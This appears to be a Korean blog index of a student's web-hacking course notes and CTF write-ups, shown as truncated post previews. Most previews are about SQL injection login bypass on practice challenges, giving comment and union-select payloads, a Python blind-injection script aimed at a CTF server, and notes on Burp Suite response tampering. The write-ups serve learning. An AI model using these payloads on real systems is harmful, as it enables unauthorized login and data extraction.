* 웹 개발 -> 백엔드 코드가 더 중요 but 외형도 조금은... -> bootstrap -> 문제풀이 wriote up 1)만든 사이트의 write up 2) write up 쓸때 flag를 모자이크.. 죄송합니다... ->ctf 문제는 정답을 보지 않는다, -------------------------------------------------- *review >로그인 인증 : 식별(user가 있나)/인증(user가 맞나) >SQL Injection : 공격자가 sql질의문 삽입 db에서 날라오는 데이터를 변경하여 로그인 인증 우회 : 데이터 추출 공격자가 원하는 데이터에 select문을 삽입 1) secritdb를 찿아 출력하기 2) member 테이블 추측 orverwatch 검색 - selec..
case 1. 식별과 인증을 동시에 하는경우 위 경우는 다음 방법을 통하여 로그인 가능하다ex' union select 'ex','dfd','dfd','dfd'#다만 위와 같은 union select문의 경우 쿼리수와 쿼리의 타입을 맞춰주어야 한다. case1과 같이 dfd라는 비밀번호로 로그인이 가능했다. 정렬 또한 마찬가지로 하였다. case 2-1. 받은 함수가 암호화 된 경우위의 경우는 비밀번호를 해시암호화된 비밀번호와 비교를 하는 경우이다. 즉, 비밀번호에 입력된 값이 암호화되기 때문에 union select 로 새로운 데이터를 만들어도 로그인이 되지 않을 것이다. 실제로 union select 'ex','1','1'',1'#을 해 본 결과 로그인 되지 않는다. 만약 위와 같이 비밀번호를 암호화..
normaltic4 계정으로 로그인하는것이 목표이다. mario/mariosuper가 아이디와 패스워드다. mario'# 으로 로그인이 되며 비밀번호가 다를경우 로그인 되지 않는다. mario' or '1'='1'#은 로그인되지 않는다. mario' #은 로그인되는걸로보아 공백은 문제가 아니다. mario' and '1'='1'#은 로그인이 된다. 결론적으로 or가 필터링 되어 추출되거나 or가 들어가면 로그인이 안된다는 것이다. 따라서 oorr을 넣어 or가 추출되는지 확인해보았다. 로그인되지 않는다. or는 추출되는것이 아닌 로그인 자체를 못하게 하는 것이다. or연산자인 ||또한 로그인 되지 않는다. 그러면 union select도 확인해보자. 우선 컬럼값을 알기 위해 3번문제에서 작성한 코드를 돌..
생각해보니까 이거 참 거짓으로 비밀번호를 통쨰로 뜯어올 수 있을 것 같다. import requests url = 'http://ctf.segfaulthub.com:9999/login3/login.php' for i in range(1, 101): payload = { 'UserId': f"mario' and length(database())={i}#", 'Password': 'mariosuper', 'Submit': 'Login' } response = requests.post(url, data=payload) if 'Warning' not in response.text: print(f"Found: {i}") break 다음 코드로 db이름 길이를 구했다. 13이다. 다음은 db의 이름을 구할것이다. ..
mario / mariosuper 아이디 비번이 제공되었고 normaltic3으로 로그인 하는것이 목적이다. mario'#을 넣어보니 로그인이 되지 않았다. 그렇다면 #, '이 사용불가이거나 로그인 로직이 sql문으로 아이디와 비번을 동시에 검색해서 그 결과값이 있는지 확인하는 방식이 아니란 것이다. 그렇다면 mario'#에 mariosuper을 넣어보도록 하겠다. 로그인이 성공적으로 된다. 즉, '나 #이 추출되거나 사용이 안되는 경우가 아니다. 그렇다면 sql문으로 아이디 혹은 아이디와 비밀번호 동시검색 후 비밀번호가 db의 비밀번호와 맞는지를 확인한다는 것이다. 이번에는 union select 문을 사용해보겠다. 다만 이 경우는 컬럼의 갯수와 어느 컬럼에 id와 password가 존재하는지 알아야 ..
여기서 목적은 normaltic2로 로그인 하는 것이다. 기본적으로 주어진 공격자 id, password는 mario와 mariosuper이다. sql injection을 위해 mario로 로그인을 하고 이를통해 로그인 로직과 sql문을 학인해보도록 하겠다. 우선 가장 쉬운 방법인 주석을 이용하기 위해 mario'#을 사용해보았다. 로그인 정보가 맞지 않을 때 뜨는 문구인 warming이 없는것으로 보아 로그인이 성공한 것을 확인하였다. 그렇다면 normaltic2 또한 같은방법으로 로그인 할 수있다. 성공적으로 flag를 빼앗았다.
query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>위 코드에서 solve()함수를 실행시키는 것이 목표이다.위 목표를 위해서 sql injection을 해야하는데 id값이 guest로 고정이다. 또한 ',`," 문자가 preg_match로 막혀있다. 우선 repater를 사용해서 no값을 1부터 무작위로 넣어보는 방법이 있다. 지난번에 작성해놓은 파이썬 코드를 사용해보도록 하자. 그 결과 gues..
복습 쿠키 HTTP헤더 클라이언트측 정보. 서버로 요청을 보낼때 건내주는 정보 쪼가리 세션 세션 측 정보. 서버저장. 세션 ID 세션을 식별하기 위한 값. 쿠키 안에 들어 burp suite 사용법 숙지! 숙제 *wargame 로그인 우회 웹 해킹시 서비스를 분석. 그중에서 로그인 취약점을 찾기 위하여 로그인페이지 분석. 알고있는 계정으로 로그인. burpswite에서 history에 웹페이지와의 주고받는 정보 확인 get으로 id와 password 전송 응답에서 result가 올바를경우 result가 ok, 틀릴경우 fail. admin으로 로그인할경우 fail이 나옴. 이 응답값이 ok면 로그인 성공. do intercept response to this request를 해야 응답값을 잡을 수 있음 ..